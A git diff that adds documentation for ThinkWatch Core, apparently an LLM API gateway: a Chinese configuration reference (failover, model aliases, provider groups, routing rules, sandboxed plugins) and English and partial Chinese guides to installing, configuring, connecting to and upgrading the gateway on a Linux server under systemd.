上游多少秒没有发出内容,网关就不再等它。从请求发出的那一刻算起,每来一段内容重新计时:正文、推理、工具调用都算,心跳不算。整包(非流式)的回答从发出算到整份回来。还没有内容交给客户端时,这家上游记一次失败,请求换到下一家;没有下一家了,客户端收到超时错误。已经有内容交给客户端的,回答以一条错误收尾。取值 30 到 3600。 | +| `slot_wait_secs` | 整数 | `30` | 一个请求合计最多等的秒数,从过了密钥自己的 `max_concurrent` 时算起:等密钥的 `minute`、`hour` 上限空出名额,和等并发数满了(`max_concurrent`)的上游空出位置,都算在里面。密钥的上限到时空不出来就拒绝;等不到上游的空位就换下一家,候选全满时回 429。`0`:不等。取值 0 到 300。 | + + +### `aliases` + +模型别名是同一个模型的另一个名称。客户端像请求其他模型一样请求它,每家上游收到的是自己对这个模型的叫法。 + +```yaml +aliases: + deepseek-v4.1: DeepSeek-v4.1-flash + claude-sonnet-5: + - claude-sonnet-5 + - us.anthropic.claude-sonnet-5-v1:0 + - anthropic/claude-sonnet-5 +``` + +- 上游在 `models_only` 范围内提供列出的任一名称,就能服务这个别名,收到的是列表里它提供的第一个名称。能服务同一别名的上游互为备用。 +- `GET /v1/models` 在上游模型旁一并列出别名,原来的名称照常可用。 +- 别名优先于同名的上游模型:上例中请求 `claude-sonnet-5` 只会发给提供这三个名称之一的上游。要让某家上游继续用自己的同名模型提供服务,把它的名称列进去。 +- 密钥的 `allow` 和规则的 `when.model` 写上游模型名时,对列有这个名称的别名同样有效;写别名时只对别名有效。 +- 上游答的是发给它的那个模型时,回答里的模型名写成客户端请求的名称;答的是别的模型,原样转发。 +- 计价和上游体检按发给上游的名称;请求记录保留客户端请求的名称,每次尝试记录实际发出的名称。 +- 要把某把密钥的请求发到某家上游的某个模型,用带指定模型的规则([`routes[].rules[].to`](#cfg-routes-rules-to)),不要用别名:别名会改变这个名称对所有客户端的含义。 + +### `groups` + +策略组让多个上游合用一个名字。规则用 `to` 把请求交给策略组。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `name` | 字符串 | **必填** | 策略组的名字,不能重复,也不能和上游同名。 | +| `type` | `fallback` \| `select` \| `load-balance` \| `url-test` \| `cheapest` | `fallback` | `fallback`:按顺序取第一个健康的。`select`:取 `selected` 指定的那个。`load-balance`:请求按成员的权重分;进行中的对话留在原来那一家。`url-test`:按实测从发出请求到回答第一段内容的时间取最快的。`cheapest`:取输入单价最低的。 | +| `providers` | 列表,每项是字符串或对象,对象见 [`groups[].providers[]`](#cfg-groups-providers) | **必填** | 成员上游的名字,不能是策略组。同一个上游在一个策略组中只出现一次。`load-balance` 组的成员可以写成 `{name, weight}`。 | +| `selected` | 字符串 | — | `select` 类型选中的成员。 | +| `balance_by` | `weights` \| `latency` \| `health` \| `latency-health` | `weights` | `load-balance` 类型用:成员的权重再乘上什么。`weights`:不乘,只按权重。`latency`:越快的上游分得越多。`health`:越少失败的上游分得越多。`latency-health`:两者都看。其他类型只能是 `weights`。 | + + +默认类型为 `fallback`:单个使用者的机器上没有需要分散的负载。 + +`load-balance` 组的成员可以带权重,取值 1 到 100;只写名字的成员权重为 1。权重决定组内请求怎么分:写成 `{ name: anthropic, weight: 7 }` 和 `relay` 时,每十个请求有七个由官方 API 服务。进行中的对话留在回答它的那一家(见下文),也算进那一家的份额,因此份额靠新对话从哪一家开始来补齐。因失败处于冷却、并发数已满(`max_concurrent`)、或服务不了某个请求的上游不参与这一次分配,其余成员按各自的权重分。新的 WebSocket 连接也这样分配,算作一个请求;之后在这条连接上发的都交给它连上的那一家。其他类型的策略组不用权重。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `name` | 字符串 | **必填** | 上游的名字。只写名字的成员权重为 1。 | +| `weight` | 整数 | `1` | 成员在 `load-balance` 组中分到的请求份额,与其他成员的权重成比例。取值 1 到 100。其他类型的策略组只能写 1。 | + + +```yaml +groups: + - name: pool + type: load-balance + providers: + - { name: anthropic, weight: 7 } + - relay +``` + +无论哪种类型,一段对话都留在上次回答它的那一家上游,让上游缓存着的那部分被再次读取,而不是换一家全价重算。同一轮之内(客户端正在回传工具结果)一律不换;跨轮时,上一次回答读或写了至少 1024 个 token 的 prompt cache、且距今不到五分钟,才继续留下。上游因失败进入冷却时,对话随之放开;故障转移之后接下回答的那一家,就是之后留下的那一家。一轮开始时命中的规则也沿用到这一轮结束:按输入大小或图片分流的规则不会让一轮半路换家,除非输入已经超出规则所指模型的上下文窗口。因此 `load-balance` 的权重是长期看各家分到的请求的比例:进行中的对话留在原来的上游,也算进那一家的份额。 + +`balance_by` 让 `load-balance` 组再看各上游最近的表现:每个成员的权重乘上一个系数,组内请求按乘出来的结果照上文的方式分。 + +- `weights`(默认):只按权重。 +- `latency`:越快的上游分得越多。快慢看典型的从发出请求到回答第一段内容的时间,与 `url-test` 使用同一份测量。比组内居中者快一倍的上游,权重乘以四;最多乘以十,最少乘以十分之一。 +- `health`:越少失败的上游分得越多。依据是最近 30 分钟内的最近 50 次请求:服务器错误、限流、额度或余额用尽、凭据被拒、超时和连接失败算作失败;请求本身导致的错误不算,客户端取消、手动中止、因并发数满了(`max_concurrent`)而跳过也不算;超过 `failover.idle_timeout_secs` 仍没有内容算作超时。经常失败的上游至少保留权重的二十分之一,仍会偶尔分到请求,以便发现它已经恢复;完全失败的上游照旧由 [`failover`](#cfg-failover) 暂停。 +- `latency-health`:两个系数相乘。 + +快慢只在流式回答上测,从请求发给这家上游的那一刻算起:之前的等待、之前失败的上游都不算在内。因超过 `failover.idle_timeout_secs` 没有内容而被放弃的上游,按等满的那段时间计。Responses 的 WebSocket 连接上,每个 `response.create` 在快慢和成败上都算一个请求,快慢从上游开始回答它的那一刻算起。 + +测量还不够的上游按中等对待。与只按权重时一样,进行中的对话留在原来的上游,差额由新对话补齐。 + +```yaml +groups: + - name: 均摊 + type: load-balance + balance_by: latency-health + providers: + - { name: 官方, weight: 3 } + - 中转 +``` + +### `routes` + +一条路由是一组自上而下求值的规则。每把密钥使用其 `route` 指定的路由;没有指定时用 `default_route`;再没有时用名为 `default` 的路由;一条路由都没有时,请求按上游的声明顺序故障转移。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `name` | 字符串 | **必填** | 路由的名字,不能重复。`default` 是密钥默认使用的那条。 | +| `rules` | 对象列表,见 [`routes[].rules[]`](#cfg-routes-rules) | `[]` | 自上而下求值;第一条匹配且带有 `to` 或 `deny` 的规则决定请求去向。 | + + +#### `routes[].rules` + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `name` | 字符串 | **必填** | 日志和流量详情中显示的名字。 | +| `when` | 对象,见 [`routes[].rules[].when`](#cfg-routes-rules-when) | — | 条件,须全部满足。不写:匹配所有请求。 | +| `to` | 字符串,或对象列表,见 [`routes[].rules[].to[]`](#cfg-routes-rules-to) | — | 上游或策略组的名字;`__all__` 表示按声明顺序的全部上游。也可以指定模型:列出上游及发给它的模型,按顺序备用。不能与 `when.provider_would_be` 同时写。 | +| `set` | 对象,见 [`routes[].rules[].set`](#cfg-routes-rules-set) | — | 改写请求参数。从所有匹配的规则累积,不只第一条。 | +| `deny` | 字符串 | — | 以这句原因拒绝请求。 | + + +#### `routes[].rules[].to` + +`to` 写上游或策略组的名称,或者指定模型:一组上游,每家写明发给它的模型,按顺序备用。指定模型原样发出,不经过别名,也不受 `set.model` 影响;所以即使同名别名指向别处,规则仍能把某把密钥的请求发到某家上游的这个模型。 + +```yaml +routes: + - name: default + rules: + - name: Opus 走 Bedrock + when: { model: claude-opus-5 } + to: + - { provider: bedrock, model: us.anthropic.claude-opus-5-v1:0 } + - { provider: anthropic, model: claude-opus-5 } +``` + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `provider` | 字符串 | **必填** | 上游的名字,不能是策略组。同一个上游在列表中只出现一次。 | +| `model` | 字符串 | **必填** | 发给这个上游的模型名,原样发出:不经过别名,也不受 `set.model` 改写。同一条规则里不能再写 `set.model`。 | + + +#### `routes[].rules[].when` + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `model` | 字符串 | — | 请求的模型,可用通配(`claude-opus-*`)。写上游模型名,也匹配请求列有它的别名的请求;写别名只匹配请求这个别名的。 | +| `client` | 字符串 | — | 请求所用网关密钥的名字,精确匹配。 | +| `dialect` | 字符串 | — | 客户端使用的接口格式:`anthropic`、`openai-chat`、`openai-responses`、`gemini`。 | +| `input_tokens` | 比较式(`>200k`、`<=4k`、`==3`) | — | 估算的输入 token 数。 | +| `max_tokens` | 比较式(`>200k`、`<=4k`、`==3`) | — | 请求中的 `max_tokens`。未写该参数的请求不匹配。 | +| `tool_count` | 比较式(`>200k`、`<=4k`、`==3`) | — | 请求中提供的工具数量。 | +| `cache` | 布尔 | — | 请求是否使用 prompt cache。 | +| `tools` | 布尔 | — | 请求是否带工具。 | +| `image` | 布尔 | — | 请求是否包含图片。 | +| `thinking` | 布尔 | — | 是否开启扩展思考。 | +| `stream` | 布尔 | — | 是否流式返回。 | +| `intent` | 字符串或字符串列表 | — | 客户端的辅助请求:`assistant_internal` 表示任意一类,也可以写具体的一类(`titling`)。在 `client_probes` 中设为 `intercept` 的类别由本地应答,不会进入路由。 | +| `time` | 字符串或字符串列表 | — | core 所在机器的本地时间落在窗口 `[days ]HH:MM-HH:MM` 里:`mon-fri 09:00-18:00`、`sat,sun 00:00-24:00`、`22:00-06:00`。写几个窗口满足其一即可。见下文。 | +| `provider_would_be` | 字符串或字符串列表 | — | 路由选中的上游。这类规则在路由完成后求值,只能 `set` 或 `deny`,不能写 `to`。 | + + +比较式以 `>`、`>=`、`<`、`<=` 或 `==` 开头,数字可以带 `k` 或 `m` 后缀:`">200k"`、`"<=4k"`。不带运算符是错误,不当作相等:单写 `"200k"` 会被拒绝。 + +时间窗口写成 `[ ]-`,按 core 所在机器在路由那一刻的本地时间求值。`` 是用逗号分隔的 `mon`、`tue`、`wed`、`thu`、`fri`、`sat`、`sun`,也可以写 `mon-fri`、`fri-mon`(跨过周日绕回去)这样的一段;不写就是每天。大小写不论。时刻是 24 小时制:起点含、终点不含,终点可以写 `24:00`。终点早于起点的是过夜的窗口,天指窗口开始的那一天:`fri 22:00-06:00` 从周五 22:00 到周六 05:59。不合这个写法的值在读配置时就被拒绝,并说明是哪条规则、哪个值。 + +#### `routes[].rules[].set` + +`set.model` 可以写别名,每家上游收到各自对它的叫法。和别名一样,回答里的模型名写成客户端请求的名称。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `model` | 字符串 | — | 换成另一个模型发送。该会话的 prompt cache 随之失效。 | +| `max_tokens` | 整数 | — | 替换 `max_tokens`。 | +| `thinking` | 布尔 | — | 开启或关闭扩展思考。 | +| `only_at_session_start` | 布尔 | `false` | 只在会话开始时应用。目前只记录和显示,尚未生效。 | + + +```yaml +groups: + - name: fast + type: url-test + providers: [anthropic, relay] + +routes: + - name: default + rules: + - name: 长上下文走官方 + when: { input_tokens: ">200k" } + to: anthropic + - name: 标题用便宜模型 + when: { intent: titling } + set: { model: claude-haiku-4-5 } + - name: 其余 + to: fast +default_route: default +``` + +### `plugins` + +脚本插件在请求发往上游之前改写请求,在回答到达客户端之前改写回答。插件运行在 core 内部的沙箱中,无法访问文件、网络,也看不到密钥的真实值。插件由应用安装:代码写入本文件旁边的 `plugins/.js`,批准过的代码另存一份在 `plugins/.approved/.js`,代码的 SHA-256 写入 `sha256`。 + +插件的设置也在它自己的文件里。文件开头的 `manifest` 写着插件出错时怎么办(`on_error`)、处理哪些请求(`match`)和每个设置项的值(`settings.<名称>.value`)。在应用里改这几项时,应用只改写文件里的 manifest,并同时更新 `sha256`。本列表只记录插件本身、批准的哈希和是否启用。core 0.58 写下的条目里还有 `on_error`、`scope` 和 `settings`:这些字段不再生效,下一次在应用里改动插件时会被去掉。 + +只有文件的哈希与批准时一致,插件才会运行。磁盘上的文件被改动或删除后,插件会在几秒内停止运行,应用里会列出改动供审阅。批准之前,按批准过的文件里写的,插件覆盖的请求会被拒绝(`on_error: "reject"`,默认),或者跳过这个插件照常发出(`on_error: "skip"`)。加载失败的插件按同样的方式处理。两种情况都不影响配置其余部分生效。 + +插件按本列表的顺序运行。 + +`match` 里的 `clients`、`models` 和 `upstreams` 都是名字或通配(`*` 可以写在任意位置)的列表,不区分大小写;列表为空或不写表示全部。`clients` 是客户端应用(`claude-code`、`codex` 等),认不出应用的请求只有空列表才算在内。`models` 按发给上游的模型匹配:路由规则改了模型名的,按改名之后的匹配。`upstreams` 对请求和回答都适用。 + +插件在路由之后改写请求,请求每发往一个上游改写一次。故障转移到另一个上游时,从客户端发来的原样重新开始;插件看得到这一次发往哪个上游、用哪个模型名。路由、模型准入和会话归组看的都是客户端发来的原样。插件改了模型名,只是换掉发给这个上游的名字:不会重新路由,新的名字仍要在这把密钥可用的模型之内([`clients[].allow`](#cfg-clients)),否则请求不发出。 + +插件处理它在代码里声明的那几种请求:对话(Anthropic Messages、OpenAI Chat Completions 和 Responses、Gemini,连同它们的数 token 和压缩)、嵌入(`/v1/embeddings`、Gemini 的 `:embedContent` 和 `:batchEmbedContents`)和旧版补全(`/v1/completions`)。没有声明的插件只处理对话。插件不处理的那种请求不经过它,不论 `on_error` 怎么设。其他接口(图片、音频等)不经过任何插件。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `id` | 字符串 | **必填** | 小写字母、数字和连字符,1 到 40 个字符,不能重复。 | +| `file` | 字符串 | **必填** | 插件的代码,相对本文件所在的目录。只能是 `plugins/.js`,由应用写入。 | +| `sha256` | 字符串 | **必填** | 批准过的代码的 SHA-256,64 个小写十六进制字符。文件的哈希与它不符时插件停止运行,直到在应用里批准这次改动。批准过的代码另存在 `plugins/.approved/.js`。 | +| `enabled` | 布尔 | `true` | 是否运行这个插件。`false`:插件保留,不参与任何请求。 | + + +```yaml +plugins: + - id: add-date + file: plugins/add-date.js + sha256: 9f2b6c0e4a1d8f3b7c5e2a9d6f1b4c8e3a7d0f5b2c9e6a1d4f8b3c7e0a5d2f9b + enabled: true +``` + +`plugins/add-date.js` 的开头: + +```js +export const manifest = { + name: "Add date", + api: 1, + permissions: ["system"], + match: { clients: ["claude-code"], models: ["claude-*"], upstreams: [] }, + on_error: "reject", + settings: { + note: { type: "string", label: "Note", value: "用中文回答。" }, + }, +}; +``` + +## 环境变量 + +| 变量 | 作用 | +|---|---| +| `THINKWATCH_HOME` | 数据目录,替代 `~/.thinkwatch`(Windows 上为 `%APPDATA%\ThinkWatch`)。 | +| `TWCORE_LOG` | 日志过滤,`tracing` 语法(`info`、`debug`、`tw_gateway=debug`)。 | +| `HTTPS_PROXY`、`HTTP_PROXY`、`ALL_PROXY`、`NO_PROXY` | 供 `proxy: system` 的上游使用。 | +| 其他 | 配置中写 `${NAME}` 的位置读取。 | diff --git a/src/data/core-docs/manifest.json b/src/data/core-docs/manifest.json new file mode 100644 index 0000000..18e4e4a --- /dev/null +++ b/src/data/core-docs/manifest.json @@ -0,0 +1,10 @@ +{ + "repository": "ThinkWatchProject/ThinkWatch-Core", + "ref": "v0.70.0", + "files": { + "docs/config.md": "6f281936051e2586c4076c62e22759a0addaad7b493b53dc427d74966a84a109", + "docs/config.zh-CN.md": "bc2a649755cc7f705151658213232a78dcdcf176b770f8f66cf1fdf9a7e27a6f", + "docs/server.md": "5e1e9b901bef2b46d417aea057a1db24c78457d3c1938b8540ecb4766515b68f", + "docs/server.zh-CN.md": "1f508e7c39b8ded28653773ca4d8701e6bdc2247bcd359c3a8fd00fd1401a6ff" + } +} diff --git a/src/data/core-docs/server.md b/src/data/core-docs/server.md new file mode 100644 index 0000000..2d683de --- /dev/null +++ b/src/data/core-docs/server.md @@ -0,0 +1,274 @@ +# Running core on a server + +[中文](server.zh-CN.md) + +ThinkWatch Core runs without a desktop: on a Linux machine it is started by +systemd from its configuration file, and ThinkWatch Lite on macOS, Windows or +Linux connects to it over the network to show traffic and change settings. +Clients anywhere on the network send their requests to the server's gateway. + +This page covers installing, configuring, starting, connecting and +upgrading. Every field mentioned is described in the +[configuration reference](config.md). + +## Requirements + +- Linux on x86_64 or aarch64, with glibc 2.35 or newer (Ubuntu 22.04, + Debian 12, or later). +- systemd. +- On the server, the core version that the desktop app includes. The app + connects only to a core that speaks the same version of the control-plane + protocol: it checks this during the handshake and, when the versions + differ, refuses the connection and shows both, the version on the server + and the version the app needs. [Upgrading](#upgrading) describes how to + switch versions. + +## 1. Install + +```sh +curl -fsSL https://raw.githubusercontent.com/ThinkWatchProject/ThinkWatch-Core/main/scripts/install.sh | sudo sh +``` + +This installs the latest release, which can be newer than the core version +the desktop app includes. To install a particular version, pass it to the +script: + +```sh +curl -fsSL https://raw.githubusercontent.com/ThinkWatchProject/ThinkWatch-Core/main/scripts/install.sh | sudo sh -s -- --version +``` + +`` is a release number such as `0.47.0`. When the server runs a +different version, the app names the version it needs, and +[`twcore upgrade --version`](#upgrading) switches the server to it. + +The script: + +1. downloads `twcore--unknown-linux-gnu.tar.gz` from the GitHub + release and checks it against the release's SHA-256 sum; +2. installs the binary as `/usr/local/bin/twcore`; +3. creates the system user `thinkwatch` and the data directory + `/var/lib/thinkwatch` (mode `0700`); +4. installs `/etc/systemd/system/twcore.service` and an empty + `/etc/thinkwatch/env`; +5. runs `twcore init` as `thinkwatch` if there is no configuration yet; +6. prints the next steps. It does not start the service. + +Running it again is safe: it replaces the binary and the unit, and leaves +the configuration, the environment file and the data alone. For later +upgrades, `twcore upgrade` is the shorter way (see below). + +To install by hand instead, download the tarball and its `.sha256` from the +[releases page](https://github.com/ThinkWatchProject/ThinkWatch-Core/releases), +check it with `sha256sum -c`, and follow the steps above; the unit file is +in the tarball and in [`packaging/systemd/twcore.service`](../packaging/systemd/twcore.service). + +Every `twcore` command that reads the configuration has to run as the +service user with the service's data directory. The examples below spell +that out; a shell alias saves typing: + +```sh +alias twc='sudo -u thinkwatch THINKWATCH_HOME=/var/lib/thinkwatch twcore' +``` + +## 2. Configure + +Open `/var/lib/thinkwatch/config.yaml` as root (`sudoedit` works) and change +three things: + +1. **Let clients on the network reach the gateway**: `listen.gateway.bind: + all`, and list their networks in `listen.gateway.allow_from`. +2. **Open the remote control port**: `listen.control.remote.enabled: true`, + and list the networks the desktop app connects from in its + `allow_from`. `twcore init` writes this section with `enabled: false` and + a random port between 20000 and 32000. The same can be done with a + command, which also writes the section if the file has none: + + ```sh + sudo -u thinkwatch THINKWATCH_HOME=/var/lib/thinkwatch twcore remote enable --allow 192.168.1.0/24 + ``` + + `--allow` can be repeated and replaces the list; `--bind` and `--port` + change the interface and the port. `twcore remote disable` closes the + port again and keeps the rest, and `twcore remote` shows the current + state. A running core follows within a second. +3. **Add at least one upstream** under `providers`, or add it later from the + desktop app. + +```yaml +version: 1 +listen: + gateway: + bind: all + port: 8788 + allow_from: [192.168.1.0/24] + control: + key: 9f2c…e41a # written by twcore init; leave it as it is + remote: + enabled: true + bind: all + port: 23483 # written by twcore init, at random + allow_from: [192.168.1.0/24] +clients: + - name: default + key: tw-… # written by twcore init +providers: + - name: anthropic + base_url: https://api.anthropic.com + key: ${ANTHROPIC_API_KEY} +``` + +Check the result without starting anything: + +```sh +sudo -u thinkwatch THINKWATCH_HOME=/var/lib/thinkwatch twcore check +``` + +### Secrets in the environment + +`${NAME}` in the configuration reads the environment of the core process. +Under systemd that is `/etc/thinkwatch/env`, one `NAME=value` per line: + +```sh +sudoedit /etc/thinkwatch/env # created by the installer: root:thinkwatch, 0640 +``` + +```ini +ANTHROPIC_API_KEY=sk-ant-… +HTTPS_PROXY=http://proxy.example.com:3128 +``` + +The file is read when the service starts: after changing it, restart the +service. Proxy variables here are what `proxy: system` uses. + +### Network + +Neither port has TLS. The control port is encrypted and authenticated by +its handshake; the gateway port carries requests in plain HTTP, like any +local model server. Keep both reachable only from networks you trust: set +`allow_from`, and open the two ports in the server's firewall to those +networks only. For access from outside, use a VPN or an SSH tunnel rather +than exposing the ports. + +## 3. Start + +```sh +sudo systemctl enable --now twcore +systemctl status twcore +journalctl -u twcore -f +``` + +The unit runs core as `thinkwatch`, restarts it if it fails, and keeps it +out of the rest of the file system: it can write only its data directory. + +Configuration changes need no restart. Core reloads the file within a +second of a save, from an editor, `twcore config`, or the desktop app; a +change that does not validate is refused and the previous configuration +keeps serving. + +## 4. Connect the desktop app + +Show the control key on the server: + +```sh +sudo -u thinkwatch THINKWATCH_HOME=/var/lib/thinkwatch twcore control-key +``` + +``` +9f2c…e41a +remote control: port 23483; connect to 192.168.1.20:23483 +allowed sources: 192.168.1.0/24 +``` + +The first line, the key, is the only thing on standard output, so +`$(twcore control-key)` in a script gets just the key. The two lines after +it go to standard error: the port, the addresses of this server's +interfaces that listen on it, and the allowed sources. When the port is +closed the second line reads `remote control: off (twcore remote enable +opens it)`. + +In the desktop app, open **Settings → Connection → Add remote connection** +and enter: + +- **Name**: a name for the connection, such as `home-server`; +- **Address**: the server's host name or IP address; +- **Control port**: `listen.control.remote.port`; +- **Key**: the 64 characters `twcore control-key` printed. + +**Test connection** completes the handshake and reads the server's core +version, without saving anything. **Save and switch** runs the same test +first, saves the connection only when the test succeeds, and asks for +confirmation before switching; **Save** stores the connection without +testing it. Switching to a remote connection always tests it first, and the +app stays on its current connection when the test fails. A failed test +says what is wrong: no answer (address, port, firewall, `enabled`), +connection closed (this computer's address is probably not in +`allow_from`), wrong key, or different versions (see +[Upgrading](#upgrading)). `allow_from` for this port does not let the +server itself in automatically; commands on the server use the local +channel. + +A source that fails the handshake five times within a minute is ignored +for a minute. Removing a network from `allow_from` also closes the +connections already open from it. + +The desktop app stores the key in its data directory, in a file readable +only by the user who runs the app. To replace it, run `twcore control-key --rotate` on the server; connections +made with the old key are closed at once, and connected apps then have to +be given the new key. + +A remote connection can do everything the app does with its local core +except three things, which the server refuses: stopping core (systemd +runs it), taking the diagnostic bundle, and changing `listen.control`, +the section it came in through. Do those on the server. ChatGPT accounts +are signed in with a device code while the app is connected to a remote +core, because a browser sign-in returns to the machine that runs core. + +### Point clients at the server + +Clients use the server's gateway, `http://:8788`, with a gateway key +from `clients`. The desktop app can point the clients on the machine it +runs on at the server (Clients page); on other machines, configure them by +hand. + +## Upgrading + +The server has to run the core version that the desktop app includes. When +the two differ, for example after the app updates to a release that +includes a newer core, the app refuses the connection and shows both +versions. Switch the server to the version the app needs: + +```sh +sudo twcore upgrade --version --restart +``` + +With `--version`, `twcore upgrade` installs the named release even when it +is older than the installed one, so the same command moves the server +forward or back. Recent versions of the app show this command, with the +version filled in, when the versions differ. + +Without `--version`, `twcore upgrade` compares with, and installs, the +latest release, which can be newer than the version the app needs: + +```sh +sudo twcore upgrade --check # compare with the latest release, change nothing +sudo twcore upgrade --restart # install the latest release and restart the service +``` + +`twcore upgrade` downloads the release for this machine, checks its +SHA-256 sum, and replaces `/usr/local/bin/twcore` in one step, so a failed +download never leaves a broken binary. It does not touch the configuration +or the data. Without `--restart` it prints the command to restart the +service; the running process keeps the old version until then. A version +that stores request history in a different format from the previous one +starts with an empty request history; the configuration is kept. + +## Uninstalling + +```sh +sudo systemctl disable --now twcore +sudo rm /etc/systemd/system/twcore.service /usr/local/bin/twcore +sudo systemctl daemon-reload +# The configuration, keys and request history: +sudo rm -r /var/lib/thinkwatch /etc/thinkwatch +sudo userdel thinkwatch +``` diff --git a/src/data/core-docs/server.zh-CN.md b/src/data/core-docs/server.zh-CN.md new file mode 100644 index 0000000..50d025e --- /dev/null +++ b/src/data/core-docs/server.zh-CN.md @@ -0,0 +1,185 @@ +# 在服务器上运行 core + +[English](server.md) + +ThinkWatch Core 可以脱离桌面运行:在 Linux 机器上由 systemd 按配置文件启动,macOS、Windows 或 Linux 上的 ThinkWatch Lite 通过网络连接它,查看流量、修改设置。网络中各处的客户端把请求发往服务器的网关。 + +本文依次说明安装、配置、启动、连接和升级。文中提到的每个字段,详见[配置手册](config.zh-CN.md)。 + +## 要求 + +- x86_64 或 aarch64 的 Linux,glibc 2.35 或更新(Ubuntu 22.04、Debian 12 及以后)。 +- systemd。 +- 服务器上运行的 core 与桌面应用内置的 core 版本相同。应用只连接控制面协议版本与自身相同的 core:它在握手时核对,版本不一致时拒绝连接,并显示双方的版本,即服务器上的版本和应用需要的版本。切换版本的方法见[升级](#升级)。 + +## 1. 安装 + +```sh +curl -fsSL https://raw.githubusercontent.com/ThinkWatchProject/ThinkWatch-Core/main/scripts/install.sh | sudo sh +``` + +这条命令安装最新版本,它可能比桌面应用内置的 core 版本更新。安装指定版本时,把版本号传给脚本: + +```sh +curl -fsSL https://raw.githubusercontent.com/ThinkWatchProject/ThinkWatch-Core/main/scripts/install.sh | sudo sh -s -- --version <版本> +``` + +`<版本>` 是 `0.47.0` 这样的版本号。服务器运行的版本不同时,应用会指明它需要的版本,用 [`twcore upgrade --version`](#升级) 即可把服务器切换到该版本。 + +安装脚本依次: + +1. 从 GitHub Release 下载 `twcore-<架构>-unknown-linux-gnu.tar.gz`,并用 Release 中的 SHA-256 校验; +2. 把程序安装为 `/usr/local/bin/twcore`; +3. 创建系统用户 `thinkwatch` 和数据目录 `/var/lib/thinkwatch`(权限 `0700`); +4. 安装 `/etc/systemd/system/twcore.service`,以及空的 `/etc/thinkwatch/env`; +5. 还没有配置时,以 `thinkwatch` 身份执行 `twcore init`; +6. 打印后续步骤。脚本不启动服务。 + +脚本可以重复执行:它替换程序和 unit 文件,不动配置、环境变量文件和数据。之后升级用 `twcore upgrade` 更简便(见下文)。 + +也可以手动安装:从 [Releases 页面](https://github.com/ThinkWatchProject/ThinkWatch-Core/releases)下载压缩包及其 `.sha256`,用 `sha256sum -c` 校验,再按上述步骤操作;unit 文件在压缩包中,也在 [`packaging/systemd/twcore.service`](../packaging/systemd/twcore.service)。 + +读取配置的 `twcore` 命令,都要以服务用户的身份、带上服务的数据目录执行。下文的示例都写全了;可以用一个 shell 别名简化: + +```sh +alias twc='sudo -u thinkwatch THINKWATCH_HOME=/var/lib/thinkwatch twcore' +``` + +## 2. 配置 + +以 root 身份打开 `/var/lib/thinkwatch/config.yaml`(可用 `sudoedit`),修改三处: + +1. **让网络中的客户端能访问网关**:`listen.gateway.bind: all`,并在 `listen.gateway.allow_from` 中列出客户端所在的网段。 +2. **打开远程控制端口**:`listen.control.remote.enabled: true`,并在其 `allow_from` 中列出桌面应用所在的网段。`twcore init` 生成的配置带有这一节,`enabled: false`,端口是 20000 到 32000 之间随机的一个。也可以用命令完成,文件中没有这一节时命令会一并写出: + + ```sh + sudo -u thinkwatch THINKWATCH_HOME=/var/lib/thinkwatch twcore remote enable --allow 192.168.1.0/24 + ``` + + `--allow` 可以写多次,替换整个名单;`--bind`、`--port` 改网卡和端口。`twcore remote disable` 关闭端口,其余设置保留;`twcore remote` 查看当前状态。运行中的 core 在一秒内跟上。 +3. **在 `providers` 下添加至少一个上游**,也可以之后在桌面应用中添加。 + +```yaml +version: 1 +listen: + gateway: + bind: all + port: 8788 + allow_from: [192.168.1.0/24] + control: + key: 9f2c…e41a # twcore init 生成,保持原样 + remote: + enabled: true + bind: all + port: 23483 # twcore init 随机生成 + allow_from: [192.168.1.0/24] +clients: + - name: default + key: tw-… # twcore init 生成 +providers: + - name: anthropic + base_url: https://api.anthropic.com + key: ${ANTHROPIC_API_KEY} +``` + +只校验、不启动: + +```sh +sudo -u thinkwatch THINKWATCH_HOME=/var/lib/thinkwatch twcore check +``` + +### 用环境变量存放密钥 + +配置中的 `${NAME}` 读取 core 进程的环境变量。在 systemd 下,环境变量来自 `/etc/thinkwatch/env`,每行一个 `NAME=value`: + +```sh +sudoedit /etc/thinkwatch/env # 由安装脚本创建:root:thinkwatch,0640 +``` + +```ini +ANTHROPIC_API_KEY=sk-ant-… +HTTPS_PROXY=http://proxy.example.com:3128 +``` + +这个文件在服务启动时读取,修改后需要重启服务。其中的代理变量就是 `proxy: system` 使用的代理。 + +### 网络 + +两个端口都没有 TLS。控制端口由握手完成加密和鉴权;网关端口以明文 HTTP 传输请求,和本地模型服务一样。两个端口都只应对可信的网络开放:设置 `allow_from`,并在服务器防火墙中只对这些网段开放这两个端口。需要从外部访问时,使用 VPN 或 SSH 隧道,不要直接暴露端口。 + +## 3. 启动 + +```sh +sudo systemctl enable --now twcore +systemctl status twcore +journalctl -u twcore -f +``` + +unit 以 `thinkwatch` 身份运行 core,失败后自动重启,并把它与文件系统的其余部分隔开:它只能写自己的数据目录。 + +修改配置不需要重启。无论通过编辑器、`twcore config` 还是桌面应用保存,core 都会在一秒内重新加载;未通过校验的改动被拒绝,原有配置继续服务。 + +## 4. 连接桌面应用 + +在服务器上查看控制密钥: + +```sh +sudo -u thinkwatch THINKWATCH_HOME=/var/lib/thinkwatch twcore control-key +``` + +``` +9f2c…e41a +remote control: port 23483; connect to 192.168.1.20:23483 +allowed sources: 192.168.1.0/24 +``` + +第一行是密钥,也是标准输出上唯一的内容,脚本里 `$(twcore control-key)` 取到的就是密钥。后两行在标准错误上:端口、这台服务器上在该端口监听的网卡地址,以及放行的来源。端口关闭时第二行是 `remote control: off (twcore remote enable opens it)`。 + +在桌面应用中打开 **设置 → 连接 → 添加远程连接**,填写: + +- **名称**:连接的名称,例如 `home-server`; +- **地址**:服务器的主机名或 IP 地址; +- **控制端口**:`listen.control.remote.port` 的值; +- **密钥**:`twcore control-key` 输出的 64 个字符。 + +**测试连接**完成握手并读取服务器上 core 的版本,不保存任何内容。**保存并切换**先做同样的测试,通过后才保存连接,并在切换前请求确认;**保存**只保存连接,不做测试。切换到远程连接时总是先测试,测试失败则留在当前连接上。测试失败时说明原因:无响应(检查地址、端口、防火墙和 `enabled`)、连接被关闭(本机地址可能不在 